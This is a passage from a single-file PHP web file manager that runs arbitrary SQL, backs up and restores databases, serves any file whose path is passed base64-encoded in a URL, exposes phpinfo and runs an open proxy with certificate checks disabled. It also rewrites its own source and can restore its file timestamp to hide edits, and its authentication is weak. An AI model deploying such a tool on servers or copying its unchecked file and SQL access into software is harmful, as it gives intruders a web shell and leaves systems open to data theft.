	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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